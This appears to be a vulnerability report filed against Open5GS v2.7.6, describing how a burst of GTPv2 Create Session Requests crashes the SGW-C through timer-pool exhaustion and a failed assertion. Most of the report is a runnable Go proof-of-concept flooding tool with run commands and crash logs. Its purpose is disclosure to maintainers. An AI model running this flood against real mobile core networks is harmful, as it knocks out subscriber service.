| Descrição | ### Open5GS Release, Revision, or Tag
v2.7.6
### Steps to reproduce
### Description
Open5GS SGW-C can be reliably crashed (remote DoS) by sending multiple GTPv2 Create Session Request (CSR) messages in a short period of time. SGW-C eventually fails to allocate timer resources: ogs_pool_alloc() failed at lib/core/ogs-timer.c:84, followed by a hard assertion in the GTP transaction layer: ogs_gtp_xact_remote_create: Assertion 'xact->tm_peer' failed. at lib/gtp/xact.c:219. This causes open5gs-sgwcd to abort and dump core.
1. Start a new go project inside a new folder: go mod init poc
2. Create a `main.go` and paste the code below:
```
package main
import (
"errors"
"flag"
"fmt"
"log"
"math/rand"
"net"
"strconv"
"strings"
"time"
"github.com/wmnsk/go-gtp/gtpv2"
"github.com/wmnsk/go-gtp/gtpv2/ie"
"github.com/wmnsk/go-gtp/gtpv2/message"
)
// PoC for PC1-001: Exhaust SGW-C session pool by reusing a limited set of IMSIs
// while rotating EBI values to create multiple sessions per UE.
func main() {
target := flag.String("target", "", "SGW-C GTP-C IP (required)")
port := flag.Int("port", 2123, "GTP-C port")
apn := flag.String("apn", "internet", "APN to request")
imsiBase := flag.String("imsi-base", "001010000000001", "Base IMSI digits to increment")
imsiCount := flag.Uint64("imsi-count", 10, "How many IMSIs to rotate (<= max.ue)")
imsiStep := flag.Uint64("imsi-step", 1, "Increment step for IMSI")
ebiStart := flag.Uint("ebi-start", 5, "First EBI to use (1-15)")
ebiCount := flag.Uint("ebi-count", 4, "How many EBIs to rotate per IMSI")
laddr := flag.String("laddr", "", "Optional local IP to bind (used for F-TEID)")
pgwIP := flag.String("pgw-ip", "", "PGW control-plane IP (default: local IP)")
count := flag.Uint("count", 100, "How many CSR packets to send")
interval := flag.Duration("interval", 10*time.Millisecond, "Delay between sends (0 for tight loop)")
seq := flag.Uint("seq", 0, "GTPv2 sequence number (0=random per send)")
mcc := flag.String("mcc", "001", "Serving network MCC")
mnc := flag.String("mnc", "01", "Serving network MNC")
logEvery := flag.Uint("log-every", 50, "Log every N sends (0 logs only first/last)")
flag.Parse()
if *target == "" {
log.Fatal("Error: --target is required")
}
if *imsiCount == 0 {
log.Fatal("Error: --imsi-count must be > 0")
}
if *imsiStep == 0 {
log.Fatal("Error: --imsi-step must be > 0")
}
if *ebiCount == 0 {
log.Fatal("Error: --ebi-count must be > 0")
}
if *ebiStart < 1 || *ebiStart > 15 {
log.Fatal("Error: --ebi-start must be in [1,15]")
}
if *ebiStart+*ebiCount-1 > 15 {
log.Fatal("Error: --ebi-start + --ebi-count exceeds 15")
}
if err := validateDigits(*imsiBase); err != nil {
log.Fatalf("invalid --imsi-base: %v", err)
}
if err := validateDigits(*mcc); err != nil || len(*mcc) != 3 {
log.Fatal("Error: --mcc must be 3 digits")
}
if err := validateDigits(*mnc); err != nil || (len(*mnc) != 2 && len(*mnc) != 3) {
log.Fatal("Error: --mnc must be 2 or 3 digits")
}
rand.Seed(time.Now().UnixNano())
var lp *net.UDPAddr
var err error
if *laddr != "" {
lp, err = net.ResolveUDPAddr("udp", net.JoinHostPort(*laddr, "0"))
if err != nil {
log.Fatalf("resolve laddr: %v", err)
}
}
rp, err := net.ResolveUDPAddr("udp", net.JoinHostPort(*target, fmt.Sprintf("%d", *port)))
if err != nil {
log.Fatalf("resolve raddr: %v", err)
}
conn, err := net.DialUDP("udp", lp, rp)
if err != nil {
log.Fatalf("dial udp: %v", err)
}
defer conn.Close()
localIP := ""
if udpAddr, ok := conn.LocalAddr().(*net.UDPAddr); ok && udpAddr.IP != nil {
localIP = udpAddr.IP.String()
}
if localIP == "" {
log.Fatal("local IP unknown (set --laddr)")
}
if *pgwIP == "" {
*pgwIP = localIP
}
uniqueSessions := uint64(*ebiCount) * *imsiCount
if uint64(*count) > uniqueSessions {
log.Printf("[!] count=%d exceeds unique sessions=%d; requests will wrap and reuse IMSI/EBI", *count, uniqueSessions)
}
log.Printf("[*] Sending CreateSessionRequest(s) to %s (count=%d, imsis=%d, ebis=%d)", rp, *count, *imsiCount, *ebiCount)
for i := uint(0); i < *count; i++ {
imsiIdx := uint64(i) % *imsiCount
ebiIdx := (uint64(i) / *imsiCount) % uint64(*ebiCount)
imsi, err := nextIMSI(*imsiBase, *imsiStep, imsiIdx)
if err != nil {
log.Fatalf("imsi generation failed: %v", err)
}
ebi := uint8(uint64(*ebiStart) + ebiIdx)
seqNum := uint32(*seq)
if seqNum == 0 {
seqNum = rand.Uint32() & 0x00ffffff
if seqNum == 0 {
seqNum = 1
}
seqNum += uint32(i)
} else {
seqNum += uint32(i)
}
mmeTEID := randNonZeroUint32()
pgwTEID := randNonZeroUint32()
csr, err := buildCSR(seqNum, imsi, *apn, localIP, *pgwIP, *mcc, *mnc, ebi, mmeTEID, pgwTEID)
if err != nil {
log.Fatalf("build CSR: %v", err)
}
b, err := csr.Marshal()
if err != nil {
log.Fatalf("marshal CSR: %v", err)
}
if _, err := conn.Write(b); err != nil {
log.Printf("[!] send failed: %v", err)
} else if shouldLog(i, *count, *logEvery) {
log.Printf("[+] Sent %d-byte CSR seq=0x%x imsi=%s ebi=%d", len(b), seqNum, imsi, ebi)
}
if i+1 < *count && *interval > 0 {
time.Sleep(*interval)
}
}
log.Println("[*] Done. Monitor SGW-C for session pool exhaustion (assert in sgwc_sess_add).")
}
func buildCSR(seq uint32, imsi, apn, localIP, pgwIP, mcc, mnc string, ebi uint8, mmeTEID, pgwTEID uint32) (*message.CreateSessionRequest, error) {
if localIP == "" || pgwIP == "" {
return nil, fmt.Errorf("missing local or PGW IP")
}
senderFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS11MMEGTPC, mmeTEID, localIP, "")
pgwFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, pgwTEID, pgwIP, "").WithInstance(1)
bearer := ie.NewBearerContext(
ie.NewEPSBearerID(ebi),
ie.NewBearerQoS(1, 2, 1, 9, 50000, 50000, 50000, 50000),
)
return message.NewCreateSessionRequest(
0, seq,
ie.NewIMSI(imsi),
ie.NewAccessPointName(apn),
ie.NewServingNetwork(mcc, mnc),
ie.NewRATType(gtpv2.RATTypeEUTRAN),
ie.NewPDNType(gtpv2.PDNTypeIPv4),
ie.NewSelectionMode(gtpv2.SelectionModeMSorNetworkProvidedAPNSubscribedVerified),
ie.NewAggregateMaximumBitRate(500000, 500000),
senderFTEID,
pgwFTEID,
bearer,
), nil
}
func nextIMSI(base string, step, index uint64) (string, error) {
val, err := strconv.ParseUint(base, 10, 64)
if err != nil {
return "", fmt.Errorf("parse base IMSI: %w", err)
}
next := val + step*index
if next < val {
return "", errors.New("IMSI overflow")
}
width := len(base)
nextStr := strconv.FormatUint(next, 10)
if len(nextStr) > width {
return "", fmt.Errorf("IMSI length overflow (%d > %d)", len(nextStr), width)
}
return strings.Repeat("0", width-len(nextStr)) + nextStr, nil
}
func validateDigits(s string) error {
if s == "" {
return errors.New("empty string")
}
for _, r := range s {
if r < '0' || r > '9' {
return fmt.Errorf("non-digit rune %q", r)
}
}
return nil
}
func randNonZeroUint32() uint32 {
v := rand.Uint32()
if v == 0 {
return 1
}
return v
}
func shouldLog(i, total, every uint) bool {
if total == 0 {
return false
}
if every == 0 {
return i == 0 || i+1 == total
}
return i%every == 0 || i+1 == total
}
```
3. Download required libraries: `go mod tidy`
4. Run the program with the upf pfcp server address: `go run main.go --target 10.44.44.2 --count 30 --interval 100ms --imsi-count 10
--ebi-start 5 --ebi-count 4`
### Logs
```shell
12/28 21:49:27.162: [sgwc] INFO: UE IMSI[001010000000006] APN[internet] (../src/sgwc/s11-handler.c:268)
12/28 21:49:27.262: [event] FATAL: ogs_pool_alloc() failed (../lib/core/ogs-timer.c:84)
12/28 21:49:27.262: [gtp] FATAL: ogs_gtp_xact_remote_create: Assertion `xact->tm_peer' failed. (../lib/gtp/xact.c:219)
12/28 21:49:27.264: [core] FATAL: backtrace() returned 9 addresses (../lib/core/ogs-abort.c:37)
/usr/local/lib/libogsgtp.so.2(+0x1ab88) [0x7f8913146b88]
/usr/local/lib/libogsgtp.so.2(ogs_gtp_xact_receive+0x4d3) [0x7f891314a886]
open5gs-sgwcd(+0x14bc5) [0x55e48024abc5]
/usr/local/lib/libogscore.so.2(ogs_fsm_dispatch+0x119) [0x7f891310843f]
open5gs-sgwcd(+0x639a) [0x55e48023c39a]
/usr/local/lib/libogscore.so.2(+0x119a3) [0x7f89130f89a3]
/lib/x86_64-linux-gnu/libc.so.6(+0x94ac3) [0x7f8912f2dac3]
/lib/x86_64-linux-gnu/libc.so.6(clone+0x44) [0x7f8912fbea74]
/usr/local/bin/entrypoint.sh: line 8: 8 Aborted (core dumped) open5gs-sgwcd "${@}"
```
### Expected behaviour
When timer pools are exhausted, SGW-C should gracefully reject or drop excessive Create Session Requests (optionally respond with an appropriate GTP-C error cause such as "No resources available"/"System failure"), handle allocation failures without triggering assertions, continue running to preserve service continuity.
### Observed Behaviour
Under repeated Create Session Requests, SGW-C hits:
ogs_pool_alloc() failed in ogs-timer.c, and then
a fatal assertion xact->tm_peer in ogs_gtp_xact_remote_create (xact.c:219),
causing open5gs-sgwcd to abort and dump core, resulting in Denial of Service (DoS).
### eNodeB/gNodeB
No
### UE Models and versions
No |
|---|